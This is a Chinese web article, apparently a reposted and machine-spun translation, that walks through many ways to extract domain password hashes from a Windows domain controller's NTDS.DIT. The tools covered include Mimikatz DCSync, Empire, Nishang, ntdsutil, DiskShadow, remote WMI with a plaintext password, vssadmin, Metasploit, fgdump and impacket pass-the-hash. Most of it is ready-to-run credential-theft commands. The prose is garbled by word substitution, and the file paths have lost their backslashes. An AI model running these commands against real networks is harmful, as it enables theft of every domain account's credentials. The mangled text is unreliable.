导出域密码哈希值的多种方法介绍

在域内HASH是存在NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地谋略机的SAM文件,它的寄放位置是%SystemRoot%ntdsNTDS.DIT。这里面包孕的不光是Username和HASH,还有OU、Group等信息。

和SAM文件一样,该文件也是被系统锁定的。是以,我们也无法直接将其复制并拷贝至其它位置,以提取此中的信息。

以下是几种最常见的被用于提取.dit文件信息的技巧:

1.Domain Controller Replication Services(域节制器复制办事)

2.Native Windows Binaries

3.WMI

Mimikatz

Mimikatz有一个功能(dcsync),使用目录复制办事(DRS)从NTDS.DIT文件中检索密码哈希值。该技巧打消了直接从域节制器进行认证的需要性,由于它可以从域治理员情况中属于域的随意率性系统履行。是以,这也是一项用于红队的标准技巧。

lsadump::dcsync /domain:pentestlab.local /all /csv

经由过程应用/user参数指定域用户名,Mimikatz会将该指定用户的所有帐户信息转储包括哈希值。

lsadump::dcsync /domain:pentestlab.local /user:test

或者我们可以直接在域节制器中履行Mimikatz,经由过程lsass.exe进程dump密码哈希。

privilege::debug

lsadump::lsa /inject

此时,将会检索域用户的密码哈希值。

Empire

PowerShell Empire有两个模块,可以经由过程DCSync进击检索域哈希。 这两个模块都必要以域治理员的权限履行,并且他们都应用Microsoft复制办事。这两个模块依附于Invoke-Mimikatz PowerShell脚本,来履行与DCSync相关的Mimikatz敕令。以下模块的哈希提取款式类似于Metasploit hashdump的输出款式。

usemodule credentials/mimikatz/dcsync_hashdump

DCSync模块必要我们指定用户,以提取帐户的所有信息。

履行完成后,我们将获取到以下信息:

Nishang

Nishang是一个PowerShell进击框架,它是PowerShell进击脚本和有效载荷的一个聚拢,并被广泛利用于渗透测试的各个阶段。Copy-VSS脚本可用于自动化的提取必要的文件:NTDS.DIT,SAM和SYSTEM。这些文件将被提取到当前的事情目录或你指定的文件夹中。

Import-Module .Copy-VSS.ps1

Copy-VSS

Copy-VSS -DestinationDir C:ShadowCopy

或者,可以经由过程加载PowerShell扩展,来从现有的Meterpreter会话中履行脚本。

load powershell

powershell_import /root/Copy-VSS.ps1

powershell_execute Copy-VSS

也可以应用powershell_shell敕令建立一个PowerShell会话,经由过程导入脚原先提取文件。

Copy-VSS

Copy-VSS -DestinationDir C:Ninja

PowerSploit

PowerSploit包孕PowerShell脚本,该脚本应用卷影复制办事创建可用于提取文件的新卷。

Import-Module .VolumeShadowCopyTools.ps1

New-VolumeShadowCopy -Volume C:

Get-VolumeShadowCopy

或者经由过程加载PowerShell扩展,从现有的Meterpreter会话中履行。

powershell_shell

New-VolumeShadowCopy -Volume C:

Get-VOlumeShadowCopy

可以应用copy敕令将文件重新卷复制到目标。

Invoke-DCSync

Invoke-DCSync是一个由Nick Landers和leverages PowerView开拓的PowerShell脚本,Invoke-ReflectivePEInjection和PowerKatcher应用Mimikatz的DCSync措施来检索哈希值。直接履行该函数将天生以下输出:

[1] [2] [3] [4]下一页

Invoke-DCSync

可以看到结果因此表格的形式输出的。假如我们添加-PWDumpFormat参数,则输出款式为user:id:lm:ntlm:::

Invoke-DCSync -PWDumpFormat

从现有的Meterpreter会话中运行脚本,可以获取到相同的输出结果。

添加-PWDumpFormat参数后:

ntdsutil

ntdsutil是一个敕令行对象,是域节制器生态系统的一部分,其主要用途是使治理员能够轻松造访和治理Windows Active Directory数据库。但它常被渗透测试职员或红队队员滥用来获取现有的ntds.dit文件快照,并且可以将该文件复制到新的租约中,以进行离线的阐发和密码哈希的提取。

ntdsutil

activate instance ntds

ifm

create full C:ntdsutil

quit

quit

它将为我们天生两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。

DiskShadow

DiskShadow是一个Microsoft署名二进制文件,用于帮忙治理员履行与卷影复制办事(VSS)相关的操作。这个二进制文件有两个模式interactive和script ,脚本将包孕自动履行NTDS.DIT提取历程所需的所有敕令。我们可以在脚本文件中添加以下行,以创建新的volume shadow copy(卷影复制),挂载新驱动,履行复制敕令以及删除volume shadow copy。

set context persistent nowriters

add volume c: alias someAlias

create

expose %someAlias% z:

exec “cmd.exe” /c copy z:windowsntdsntds.dit c:exfilntds.dit

delete shadows volume %someAlias%

reset

必要留意的是,DiskShadow二进制文件必要从C:WindowsSystem32路径履行。假如从其它路径调用它,脚本将无法精确履行。

diskshadow.exe /s c:diskshadow.txt

直接从说冥器运行以下敕令,将列出系统的所有可用volume shadow copy。

diskshadow

LIST SHADOWS ALL

SYSTEM注册表hive也应该被复制,由于其包孕懂得密NTDS文件内容所需的密钥。

reg.exe save hklmsystem c:exfilsystem.bak

WMI

Sean Metcalf在他的博客中证实,可以经由过程WMI远程提取NTDS.DIT和SYSTEM文件。该项技巧使用vssadmin二进制文件来创建卷影复制。

wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create “cmd /c vssadmin create shadow /for=C: 2>&1”

然后,它将远程履行复制敕令,并将卷影复制中的NTDS.DIT文件提取到目标系统上的另一个目录中。

wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create “cmd /c copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:tempntds.dit 2>&1”

这也同样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create “cmd /c copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:tempSYSTEM.hive 2>&1”

之后,被提取的文件将会从域节制器被传输到另一个Windows系统,以转储域密码哈希值。

PS C:Userstest.PENTESTLAB> copy \10.0.0.1c$tempntds.dit C:temp

上一页[1] [2] [3] [4]下一页

PS C:Userstest.PENTESTLAB> copy \10.0.0.1c$tempSYSTEM.hive C:temp

假如已天生黄金票据,则可以应用它代替凭证,经由过程Kerberos与域节制器进行身份验证。

vssadmin

volume shadow copy是一个Windows敕令行实用法度榜样,治理员可以应用它备份谋略机,卷以及文件(纵然操作系统正在应用这些资本)。Volume Shadow Copy作为一个办事运行,并要求文件系统的款式为NTFS(默认环境下windows操作系统文件款式均为NTFS)。从Windows敕令提示符履行以下敕令,将会创建一个C盘的快照,这样我们就可以将其复制到另一个位置(如本地文件夹,收集文件夹或可移动介质)以获取它的造访权限。

vssadmin create shadow /for=C:

因为我们已经将C盘中的所有文件都复制到了另一个位置(HarddiskVolumeShadowCopy1),是以它们不会被操作系统直接应用,我们可以随意造访并复制此中的文件。应用copy敕令将NTDS.DIT和SYSTEM文件,复制到本地名为ShadowCopy的驱动中的新建文件夹中。

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:ShadowCopy

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:ShadowCopy

我们必要将这些文件从域节制器复制到另一个主机以进一步的处置惩罚。

vssown

Tim Tomes开拓了一个与vssadmin类似的实用法度榜样vssown,它可以创建和删除卷影复制,从未挂载的卷影复制运行随意率性可履行文件,以及启动和竣事卷影复制办事。

cscript vssown.vbs /start

cscript vssown.vbs /create c

cscript vssown.vbs /list

cscript vssown.vbs /delete

所需文件可以应用copy敕令来复制。

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowsntdsntds.dit C:vssown

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowssystem32configSYSTEM C:vssown

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowssystem32configSAM C:vssown

Metasploit

Metasploit框架中有一个模块,可以经由过程SMB办事直接与域节制器进行身份验证,创建系统驱动的卷影复制,并将NTDS.DIT和SYSTEM hive的副本下载到Metasploit目录中。这些文件可以与impacket等其他对象一路应用,这些对象可用于执交活动目录密码哈希值的提取。

auxiliary/admin/smb/psexec_ntdsgrab

还有一个后使用模块,可以链接到现有的Meterpreter会话,并经由过程ntdsutil措施检索域哈希。

windows/gather/credentials/domain_hashdump

或者,假如有现成的到域节制器的Meterpreter会话,则可以应用hashdump敕令。但该措施并不安然,由于它很有可能会导致域节制器崩溃。

hashdump

fgdump

fgdump是一个用于提取LanMan和NTLM密码哈希值的对象。假如已获取本地治理员凭证,则可以在本地或远程履行。在履行时代,fgdump将考试测验禁用系统上运行的杀毒软件,假如成功,则会将所稀有据写入到两个文件中。假如存在杀软,则建议最好不要应用fgdump来转储密码哈希。由于,大年夜多半安然公司的杀毒软件(包括Microsoft的Windows Defender)都对其进行了标记。

fgdump.exe

经由过程反省.pwdump文件的内容来检索密码哈希值。

type 127.0.0.1.pwdump

上一页[1] [2] [3] [4]下一页

NTDS 偷取

Impacket是一组python脚本,可用于履行各类义务,包括提取NTDS文件的内容。impacket-secretsdump模块必要我们供给SYSTEM和NTDS数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,impacket可以经由过程应用谋略机帐户及其哈希进行身份验证从NTDS.DIT文件远程转储域密码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

作为impacket的替代办理规划,NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

还有一个shell脚本adXtract,可将用户名和密码哈希导出为一种可被常见的密码破解法度榜样应用的款式,例如John the Ripper和Hashcat。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

该脚本将所有信息写入项目名称下的各个文件中,当数据库文件NTDS的解密完成后,用户列表和密码哈希值将会导出到节制台中。该脚本将为我们供给大年夜量有关域用户的信息,如下所示。

密码哈希将以下列款式显示。

上一页[1] [2] [3] [4]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包